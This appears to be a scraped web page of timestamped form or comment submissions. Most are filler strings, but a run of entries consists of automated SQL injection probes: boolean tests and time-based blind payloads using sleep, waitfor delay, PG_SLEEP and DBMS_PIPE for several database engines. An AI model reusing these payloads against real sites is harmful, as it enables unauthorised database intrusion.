29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:15
1
wrBEIRqX
29.10.2023 06:15
1
wrBEIRqX
29.10.2023 06:15
1
wrBEIRqX
29.10.2023 06:15
1
wrBEIRqX
29.10.2023 06:15
1
wrBEIRqX
29.10.2023 06:15
1
wrBEIRqX
29.10.2023 06:15
1
wrBEIRqX
29.10.2023 06:15
1
wrBEIRqX
29.10.2023 06:15
1
wrBEIRqX
29.10.2023 06:15
1
wrBEIRqX
29.10.2023 06:15
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:16
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:17
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:18
1
wrBEIRqX
29.10.2023 06:19
1
wrBEIRqX
29.10.2023 06:19
1
wrBEIRqX
29.10.2023 06:19
1
wrBEIRqX
29.10.2023 06:19
1
wrBEIRqX
29.10.2023 06:19
1
wrBEIRqX
29.10.2023 06:19
1
wrBEIRqX
29.10.2023 06:21
1
wrBEIRqX
29.10.2023 06:21
1
wrBEIRqX
29.10.2023 06:22
1
wrBEIRqX
29.10.2023 06:22
1
SbLGh7j8
29.10.2023 06:22
1
-1 OR 2+63-63-1=0+0+0+1 --
29.10.2023 06:22
1
-1 OR 2+714-714-1=0+0+0+1
29.10.2023 06:22
1
-1 OR 3+714-714-1=0+0+0+1
29.10.2023 06:22
1
-1 OR 3*2<(0+5+714-714)
29.10.2023 06:22
1
-1 OR 3*2>(0+5+714-714)
29.10.2023 06:22
1
-1' OR 2+865-865-1=0+0+0+1 --
29.10.2023 06:22
1
-1' OR 3+865-865-1=0+0+0+1 --
29.10.2023 06:22
1
-1' OR 3*2<(0+5+865-865) --
29.10.2023 06:22
1
-1' OR 3*2>(0+5+865-865) --
29.10.2023 06:22
1
-1' OR 2+179-179-1=0+0+0+1 or 'klq9SBw8'='
29.10.2023 06:22
1
-1" OR 2+826-826-1=0+0+0+1 --
29.10.2023 06:22
1
if(now()=sysdate(),sleep(15),0)
29.10.2023 06:22
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
29.10.2023 06:22
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
29.10.2023 06:23
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
29.10.2023 06:23
1
1 waitfor delay '0:0:15' --
29.10.2023 06:23
1
pYvQh9s0'; waitfor delay '0:0:15' --
29.10.2023 06:23
1
kdcCykzN' OR 911=(SELECT 911 FROM PG_SLEEP(15))--
29.10.2023 06:23
1
ejFtv2MC') OR 416=(SELECT 416 FROM PG_SLEEP(15))--
29.10.2023 06:23
1
kGSVlUyK')) OR 360=(SELECT 360 FROM PG_SLEEP(15))--
29.10.2023 06:23
1
wrBEIRqX'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
29.10.2023 06:23
1
1'"
29.10.2023 06:23
1
@@RoLRJ
29.10.2023 06:23
1
wrBEIRqX
29.10.2023 06:24
1
wrBEIRqX
29.10.2023 06:24
1
wrBEIRqX
29.10.2023 06:25
1
wrBEIRqX
29.10.2023 06:25
1
wrBEIRqX
29.10.2023 06:25
ja1W6BPo
wrBEIRqX
29.10.2023 06:25
1*1
wrBEIRqX
29.10.2023 06:25
1*1
wrBEIRqX
29.10.2023 06:25
1*1
wrBEIRqX
29.10.2023 06:25
1*1
wrBEIRqX
29.10.2023 06:25
-1 OR 2+16-16-1=0+0+0+1
wrBEIRqX
29.10.2023 06:25
-1 OR 3+16-16-1=0+0+0+1
wrBEIRqX
29.10.2023 06:25
if(now()=sysdate(),sleep(15),0)
wrBEIRqX
29.10.2023 06:25
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
wrBEIRqX
29.10.2023 06:26
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
wrBEIRqX
29.10.2023 06:26
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
wrBEIRqX
29.10.2023 06:26
-1; waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 06:26
-1); waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 06:26
1 waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 06:26
5ntc93Tz'; waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 06:26
-5 OR 548=(SELECT 548 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 06:26
-5) OR 796=(SELECT 796 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 06:27
-1)) OR 889=(SELECT 889 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 06:27
O4QiL5EF' OR 799=(SELECT 799 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 06:27
zonweO0e') OR 337=(SELECT 337 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 06:27
ZHWidPVa')) OR 210=(SELECT 210 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 06:27
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
wrBEIRqX
29.10.2023 06:27
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
wrBEIRqX
29.10.2023 06:27
1'"
wrBEIRqX
29.10.2023 06:27
@@pa7fM
wrBEIRqX
29.10.2023 07:10
1
wrBEIRqX
29.10.2023 07:10
1